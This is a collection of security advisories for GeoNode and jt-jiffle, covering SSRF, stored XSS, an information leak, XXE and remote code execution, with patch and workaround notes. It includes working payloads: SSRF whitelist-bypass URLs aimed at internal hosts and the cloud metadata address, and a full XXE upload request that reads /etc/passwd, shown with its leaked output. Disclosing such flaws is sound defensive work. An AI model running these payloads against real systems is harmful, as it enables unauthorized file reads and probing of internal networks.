GeoNode versions 4.4.5 and 5.0.2 (and prior within their respective releases) contain a server-side request forgery vulnerability in the service registration endpoint that allows authenticated attackers to trigger outbound network requests to arbitrary URLs by submitting a crafted service URL during form validation. Attackers can probe internal network targets including loopback addresses, RFC1918 private IP ranges, link-local addresses, and cloud metadata services by exploiting insufficient URL validation in the WMS service handler without private IP filtering or allowlist enforcement.

GeoNode versions 4.0 before 4.4.5 and 5.0 before 5.0.2 contain a server-side request forgery vulnerability that allows authenticated users with document upload permissions to trigger arbitrary outbound HTTP requests by providing a malicious URL via the docurl parameter during document upload. Attackers can supply URLs pointing to internal network targets, loopback addresses, RFC1918 addresses, or cloud metadata services to cause the server to make requests to internal resources without SSRF mitigations such as private IP filtering or redirect validation.

An issue exists within GEONODE where the current rich text editor is vulnerable to Stored XSS. The applications cookies are set securely, but it is possible to retrieve a victims CSRF token and issue a request to change another user's email address to perform a full account takeover. Due to the script element not impacting the CORS policy, requests will succeed.

A SSRF vulnerability exists, bypassing existing controls on the software. This can allow a user to request internal services for a full read SSRF, returning any data from the internal network.

the application is using a whitelist, but the whitelist can be bypassed with @ and encoded value of @ (%40) GET /proxy/?url=http://development.demo.geonode.org%40geoserver:8080/geoserver/web This will trick the application that the first host is a whitelisted address, but the browser will use @ or %40 as a credential to the host geoserver on port 8080, this will return the data to that host on the response.

!image

Summary A server side request forgery vuln was found within geonode when testing on a bug bounty program. Server side request forgery allows a user to request information on the internal service/services.

Details The endpoint /proxy/?url= does not properly protect against SSRF. when using the following format you can request internal hosts and display data. /proxy/?url=http://169.254.169.254\@whitelistedIPhere. This will state wether the AWS internal IP is alive. If you get a 404, the host is alive. A non alive host will not display a response. To display metadata, use a hashfrag on the url /proxy/?url=http://169.254.169.254\@#whitelisteddomain.com or try /proxy/?url=http://169.254.169.254\@%23whitelisteddomain.com

Impact Port scan internal hosts, and request information from internal hosts.

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. Prior to versions 2.20.6, 2.19.6, and 2.18.7, anonymous users can obtain sensitive information about GeoNode configurations from the response of the /geoserver/rest/about/status Geoserver REST API endpoint. The Geoserver endpoint is secured by default, but the configuration of Geoserver for GeoNode opens a list of REST endpoints to support some of its public-facing services. The vulnerability impacts both GeoNode 3 and GeoNode 4 instances.

Geoserver security configuration is provided by geoserver-geonode-ext. A patch for 2.20.7 has been released which blocks access to the affected endpoint. The patch has been backported to branches 2.20.6, 2.19.7, 2.19.6, and 2.18.7. All the published artifacts and Docker images have been updated accordingly. A more advanced patch has been applied to the master and development versions, which require some changes to GeoNode code. They will be available with the next 4.1.0 release. The patched configuration only has an effect on new deployments. For existing setups, the patch must be applied manually inside the Geoserver data directory. The patched file must replace the existing <geoserverdatadir>/security/rest.properties file.

Summary GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

Details GeoNode's GeoServer has the ability to upload new styles for datasets through the datasetstyleupload view.

py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159 @loginrequired def datasetstyleupload(request, layername): def respond(args, kw): kw['contenttype'] = 'text/html' return jsonresponse(args, kw) ... sld = request.FILES['sld'].read() # 1 sldname = None try: # Check SLD is valid ... sldname = extractnamefromsld(gscatalog, sld, sldfile=request.FILES['sld']) # 2 except Exception as e: respond(errors=f"The uploaded SLD file is not valid XML: {e}") name = data.get('name') or sldname setdatasetstyle(layer, data.get('title') or name, sld) return respond( body={ 'success': True, 'style': data.get('title') or name, # 3 'updated': data['update']})

datasetstyleupload gets a user-provided file (1), pass it to extractnamefromsld to extract an element from it (2) and return the former in the response (3).

py https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234 def extractnamefromsld(gscatalog, sld, sldfile=None): try: if sld: if isfile(sld): with open(sld, "rb") as sldfile: sld = sldfile.read() # 1 if isinstance(sld, str): sld = sld.encode('utf-8') dom = etree.XML(sld) # 2 ... nameddataset = dom.findall( "{http://www.opengis.net/sld}NamedLayer") el = None if nameddataset and len(nameddataset) > 0: userstyle = nameddataset[0].findall("{http://www.opengis.net/sld}UserStyle") if userstyle and len(userstyle) > 0: el = userstyle[0].findall("{http://www.opengis.net/sld}Name") # 3 ... return el[0].text # 4

extractnamefromsld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolveentities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.

PoC 1. Create a guest/non-privileged account and log in. 1. Upload a dataset through /catalogue/#/upload/dataset whose name we will be referencing as <DATASETNAME>. 1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of /etc/passwd:

POST /gs/geonode:<DATASETNAME>/style/upload HTTP/1.1 Host: localhost Cookie: djangolanguage=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE> X-Csrftoken: <CSRF-TOKEN> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo Content-Length: 485 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="layerid" 1 ------WebKitFormBoundaryfoo Content-Disposition: form-data; name="sld"; filename="foo.sld" Content-Type: application/octet-stream <?xml version="1.0" standalone="yes"?> <!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]> <foo xmlns="http://www.opengis.net/sld"> <NamedLayer> <UserStyle> <Name>&ent;</Name> </UserStyle> </NamedLayer> </foo> ------WebKitFormBoundaryfoo--

Sample response:

HTTP/1.1 200 OK Server: nginx/1.23.2 ... {"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}

Impact This issue may lead to authenticated Arbitrary File Read.

Impact Programs using jt-jiffle, and allowing Jiffle script to be provided via network request, are susceptible to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects the downstream GeoServer project.

Patches Version 1.2.22 will contain a patch that disables the ability to inject malicious code into the resulting script.

Workarounds Negate the ability to compile Jiffle scripts from the final application, by removing janino-x.y.z.jar from the classpath.

References None.